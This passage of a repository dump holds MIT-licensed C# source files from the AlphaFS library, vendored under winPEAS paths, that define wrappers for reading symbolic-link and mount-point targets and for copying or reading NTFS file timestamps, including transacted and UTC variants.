THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Gets information about the target of a mount point or symbolic link on an NTFS file system. /// The path to the reparse point. /// /// An instance of or containing information about the symbolic link /// or mount point pointed to by . /// [SecurityCritical] public static LinkTargetInfo GetLinkTargetInfo(string path) { return GetLinkTargetInfoCore(null, path, false, PathFormat.RelativePath); } /// [AlphaFS] Gets information about the target of a mount point or symbolic link on an NTFS file system. /// The path to the reparse point. /// Indicates the format of the path parameter(s). /// /// An instance of or containing information about the symbolic link /// or mount point pointed to by . /// [SecurityCritical] public static LinkTargetInfo GetLinkTargetInfo(string path, PathFormat pathFormat) { return GetLinkTargetInfoCore(null, path, false, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Junctions, Links/File.GetLinkTargetInfoTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Gets information about the target of a mount point or symbolic link on an NTFS file system. /// The transaction. /// The path to the reparse point. /// /// An instance of or containing information about the symbolic link /// or mount point pointed to by . /// [SecurityCritical] public static LinkTargetInfo GetLinkTargetInfoTransacted(KernelTransaction transaction, string path) { return GetLinkTargetInfoCore(transaction, path, false, PathFormat.RelativePath); } /// [AlphaFS] Gets information about the target of a mount point or symbolic link on an NTFS file system. /// The transaction. /// The path to the reparse point. /// Indicates the format of the path parameter(s). /// /// An instance of or containing information about the symbolic link /// or mount point pointed to by . /// [SecurityCritical] public static LinkTargetInfo GetLinkTargetInfoTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return GetLinkTargetInfoCore(transaction, path, false, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.CopyTimestamps.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region Obsolete /// [AlphaFS] Transfers the date and time stamps for the specified files. /// This method does not change last access time for the source file. /// The source file to get the date and time stamps from. /// The destination file to set the date and time stamps. /// Indicates the format of the path parameter(s). [Obsolete("Use new method name: CopyTimestamp")] [SecurityCritical] public static void TransferTimestamps(string sourcePath, string destinationPath, PathFormat pathFormat) { CopyTimestamps(sourcePath, destinationPath, pathFormat); } /// [AlphaFS] Transfers the date and time stamps for the specified files. /// This method does not change last access time for the source file. /// The source file to get the date and time stamps from. /// The destination file to set the date and time stamps. [Obsolete("Use new method name: CopyTimestamp")] [SecurityCritical] public static void TransferTimestamps(string sourcePath, string destinationPath) { CopyTimestamps(sourcePath, destinationPath, PathFormat.RelativePath); } /// [AlphaFS] Transfers the date and time stamps for the specified files. /// This method does not change last access time for the source file. /// The transaction. /// The source file to get the date and time stamps from. /// The destination file to set the date and time stamps. /// Indicates the format of the path parameter(s). [Obsolete("Use new method name: CopyTimestampsTransacted")] [SecurityCritical] public static void TransferTimestampsTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, PathFormat pathFormat) { CopyTimestampsTransacted(transaction, sourcePath, destinationPath, pathFormat); } /// [AlphaFS] Transfers the date and time stamps for the specified files. /// This method does not change last access time for the source file. /// The transaction. /// The source file to get the date and time stamps from. /// The destination file to set the date and time stamps. [Obsolete("Use new method name: CopyTimestampsTransacted")] [SecurityCritical] public static void TransferTimestampsTransacted(KernelTransaction transaction, string sourcePath, string destinationPath) { CopyTimestampsTransacted(transaction, sourcePath, destinationPath, PathFormat.RelativePath); } #endregion // Obsolete /// [AlphaFS] Copies the date and timestamps for the specified existing files. /// This method does not change last access time for the source file. /// /// /// /// The source file to get the date and time stamps from. /// The destination file to set the date and time stamps. [SecurityCritical] public static void CopyTimestamps(string sourcePath, string destinationPath) { CopyTimestampsCore(null, false, sourcePath, destinationPath, false, PathFormat.RelativePath); } /// [AlphaFS] Copies the date and timestamps for the specified existing files. /// This method does not change last access time for the source file. /// /// /// /// The source file to get the date and time stamps from. /// The destination file to set the date and time stamps. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void CopyTimestamps(string sourcePath, string destinationPath, PathFormat pathFormat) { CopyTimestampsCore(null, false, sourcePath, destinationPath, false, pathFormat); } /// [AlphaFS] Copies the date and timestamps for the specified existing files. /// This method does not change last access time for the source file. /// /// /// /// The source file to get the date and time stamps from. /// The destination file to set the date and time stamps. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void CopyTimestamps(string sourcePath, string destinationPath, bool modifyReparsePoint) { CopyTimestampsCore(null, false, sourcePath, destinationPath, modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Copies the date and timestamps for the specified existing files. /// This method does not change last access time for the source file. /// /// /// /// The source file to get the date and time stamps from. /// The destination file to set the date and time stamps. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void CopyTimestamps(string sourcePath, string destinationPath, bool modifyReparsePoint, PathFormat pathFormat) { CopyTimestampsCore(null, false, sourcePath, destinationPath, modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.CopyTimestampsTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Copies the date and timestamps for the specified existing files. /// This method does not change last access time for the source file. /// /// /// /// The transaction. /// The source file to get the date and time stamps from. /// The destination file to set the date and time stamps. [SecurityCritical] public static void CopyTimestampsTransacted(KernelTransaction transaction, string sourcePath, string destinationPath) { CopyTimestampsCore(transaction, false, sourcePath, destinationPath, false, PathFormat.RelativePath); } /// [AlphaFS] Copies the date and timestamps for the specified existing files. /// This method does not change last access time for the source file. /// /// /// /// The transaction. /// The source file to get the date and time stamps from. /// The destination file to set the date and time stamps. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void CopyTimestampsTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, PathFormat pathFormat) { CopyTimestampsCore(transaction, false, sourcePath, destinationPath, false, pathFormat); } /// [AlphaFS] Copies the date and timestamps for the specified existing files. /// This method does not change last access time for the source file. /// /// /// /// The transaction. /// The source file to get the date and time stamps from. /// The destination file to set the date and time stamps. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void CopyTimestampsTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, bool modifyReparsePoint) { CopyTimestampsCore(transaction, false, sourcePath, destinationPath, modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Copies the date and timestamps for the specified existing files. /// This method does not change last access time for the source file. /// /// /// /// The transaction. /// The source file to get the date and time stamps from. /// The destination file to set the date and time stamps. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void CopyTimestampsTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, bool modifyReparsePoint, PathFormat pathFormat) { CopyTimestampsCore(transaction, false, sourcePath, destinationPath, modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetChangeTime.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using Microsoft.Win32.SafeHandles; using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Gets the change date and time of the specified file. /// A structure set to the change date and time for the specified file. This value is expressed in local time. /// The operating system is older than Windows Vista. /// The file for which to obtain creation date and time information. /// Indicates the format of the path parameter(s). [SecurityCritical] public static DateTime GetChangeTime(string path, PathFormat pathFormat) { return GetChangeTimeCore(null, null, false, path, false, pathFormat); } /// [AlphaFS] Gets the change date and time of the specified file. /// A structure set to the change date and time for the specified file. This value is expressed in local time. /// The operating system is older than Windows Vista. /// The file for which to obtain creation date and time information. [SecurityCritical] public static DateTime GetChangeTime(string path) { return GetChangeTimeCore(null, null, false, path, false, PathFormat.RelativePath); } /// [AlphaFS] Gets the change date and time of the specified file. /// A structure set to the change date and time for the specified file. This value is expressed in local time. /// The operating system is older than Windows Vista. /// An open handle to the file or directory from which to retrieve information. [SecurityCritical] public static DateTime GetChangeTime(SafeFileHandle safeFileHandle) { return GetChangeTimeCore(null, safeFileHandle, false, null, false, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetChangeTimeTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Gets the change date and time of the specified file. /// A structure set to the change date and time for the specified file. This value is expressed in local time. /// The operating system is older than Windows Vista. /// The transaction. /// The file for which to obtain creation date and time information. [SecurityCritical] public static DateTime GetChangeTimeTransacted(KernelTransaction transaction, string path) { return GetChangeTimeCore(transaction, null, false, path, false, PathFormat.RelativePath); } /// [AlphaFS] Gets the change date and time of the specified file. /// A structure set to the change date and time for the specified file. This value is expressed in local time. /// The operating system is older than Windows Vista. /// The transaction. /// The file for which to obtain creation date and time information. /// Indicates the format of the path parameter(s). [SecurityCritical] public static DateTime GetChangeTimeTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return GetChangeTimeCore(transaction, null, false, path, false, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetChangeTimeUtc.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using Microsoft.Win32.SafeHandles; using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Gets the change date and time, in Coordinated Universal Time (UTC) format, of the specified file. /// A structure set to the change date and time for the specified file. This value is expressed in UTC time. /// The operating system is older than Windows Vista. /// The file for which to obtain change date and time information, in Coordinated Universal Time (UTC) format. [SecurityCritical] public static DateTime GetChangeTimeUtc(string path) { return GetChangeTimeCore(null, null, false, path, true, PathFormat.RelativePath); } /// [AlphaFS] Gets the change date and time, in Coordinated Universal Time (UTC) format, of the specified file. /// A structure set to the change date and time for the specified file. This value is expressed in UTC time. /// The operating system is older than Windows Vista. /// The file for which to obtain change date and time information, in Coordinated Universal Time (UTC) format. /// Indicates the format of the path parameter(s). [SecurityCritical] public static DateTime GetChangeTimeUtc(string path, PathFormat pathFormat) { return GetChangeTimeCore(null, null, false, path, true, pathFormat); } /// [AlphaFS] Gets the change date and time, in Coordinated Universal Time (UTC) format, of the specified file. /// A structure set to the change date and time for the specified file. This value is expressed in UTC time. /// The operating system is older than Windows Vista. /// An open handle to the file or directory from which to retrieve information. [SecurityCritical] public static DateTime GetChangeTimeUtc(SafeFileHandle safeFileHandle) { return GetChangeTimeCore(null, safeFileHandle, false, null, true, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetChangeTimeUtcTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Gets the change date and time, in Coordinated Universal Time (UTC) format, of the specified file. /// A structure set to the change date and time for the specified file. This value is expressed in UTC time. /// The operating system is older than Windows Vista. /// The transaction. /// The file for which to obtain change date and time information, in Coordinated Universal Time (UTC) format. [SecurityCritical] public static DateTime GetChangeTimeUtcTransacted(KernelTransaction transaction, string path) { return GetChangeTimeCore(transaction, null, false, path, true, PathFormat.RelativePath); } /// [AlphaFS] Gets the change date and time, in Coordinated Universal Time (UTC) format, of the specified file. /// A structure set to the change date and time for the specified file. This value is expressed in UTC time. /// The operating system is older than Windows Vista. /// The transaction. /// The file for which to obtain change date and time information, in Coordinated Universal Time (UTC) format. /// Indicates the format of the path parameter(s). [SecurityCritical] public static DateTime GetChangeTimeUtcTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return GetChangeTimeCore(transaction, null, false, path, true, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetCreationTime.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Gets the creation date and time of the specified file. /// A structure set to the creation date and time for the specified file. This value is expressed in local time. /// The file for which to obtain creation date and time information. [SecurityCritical] public static DateTime GetCreationTime(string path) { return GetCreationTimeCore(null, path, false, PathFormat.RelativePath).ToLocalTime(); } /// [AlphaFS] Gets the creation date and time of the specified file. /// A structure set to the creation date and time for the specified file. This value is expressed in local time. /// The file for which to obtain creation date and time information. /// Indicates the format of the path parameter(s). [SecurityCritical] public static DateTime GetCreationTime(string path, PathFormat pathFormat) { return GetCreationTimeCore(null, path, false, pathFormat).ToLocalTime(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetCreationTimeTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Gets the creation date and time of the specified file. /// A structure set to the creation date and time for the specified file. This value is expressed in local time. /// The transaction. /// The file for which to obtain creation date and time information. [SecurityCritical] public static DateTime GetCreationTimeTransacted(KernelTransaction transaction, string path) { return GetCreationTimeCore(transaction, path, false, PathFormat.RelativePath).ToLocalTime(); } /// [AlphaFS] Gets the creation date and time of the specified file. /// A structure set to the creation date and time for the specified file. This value is expressed in local time. /// The transaction. /// The file for which to obtain creation date and time information. /// Indicates the format of the path parameter(s). [SecurityCritical] public static DateTime GetCreationTimeTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return GetCreationTimeCore(transaction, path, false, pathFormat).ToLocalTime(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetCreationTimeUtc.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Gets the creation date and time, in Coordinated Universal Time (UTC) format, of the specified file. /// A structure set to the creation date and time for the specified file. This value is expressed in UTC time. /// The file for which to obtain creation date and time information, in Coordinated Universal Time (UTC) format. [SecurityCritical] public static DateTime GetCreationTimeUtc(string path) { return GetCreationTimeCore(null, path, true, PathFormat.RelativePath); } /// [AlphaFS] Gets the creation date and time, in Coordinated Universal Time (UTC) format, of the specified file. /// A structure set to the creation date and time for the specified file. This value is expressed in UTC time. /// The file for which to obtain creation date and time information, in Coordinated Universal Time (UTC) format. /// Indicates the format of the path parameter(s). [SecurityCritical] public static DateTime GetCreationTimeUtc(string path, PathFormat pathFormat) { return GetCreationTimeCore(null, path, true, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetCreationTimeUtcTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Gets the creation date and time, in Coordinated Universal Time (UTC) format, of the specified file. /// A structure set to the creation date and time for the specified file. This value is expressed in UTC time. /// The transaction. /// The file for which to obtain creation date and time information, in Coordinated Universal Time (UTC) format. [SecurityCritical] public static DateTime GetCreationTimeUtcTransacted(KernelTransaction transaction, string path) { return GetCreationTimeCore(transaction, path, true, PathFormat.RelativePath); } /// [AlphaFS] Gets the creation date and time, in Coordinated Universal Time (UTC) format, of the specified file. /// A structure set to the creation date and time for the specified file. This value is expressed in UTC time. /// The transaction. /// The file for which to obtain creation date and time information, in Coordinated Universal Time (UTC) format. /// Indicates the format of the path parameter(s). [SecurityCritical] public static DateTime GetCreationTimeUtcTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return GetCreationTimeCore(transaction, path, true, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetLastAccessTime.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Gets the date and time that the specified file was last accessed. /// The file for which to obtain access date and time information. /// A structure set to the date and time that the specified file was last accessed. This value is expressed in local time. [SecurityCritical] public static DateTime GetLastAccessTime(string path) { return GetLastAccessTimeCore(null, path, false, PathFormat.RelativePath).ToLocalTime(); } /// [AlphaFS] Gets the date and time that the specified file was last accessed. /// The file for which to obtain access date and time information. /// Indicates the format of the path parameter(s). /// A structure set to the date and time that the specified file was last accessed. This value is expressed in local time. [SecurityCritical] public static DateTime GetLastAccessTime(string path, PathFormat pathFormat) { return GetLastAccessTimeCore(null, path, false, pathFormat).ToLocalTime(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetLastAccessTimeTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey 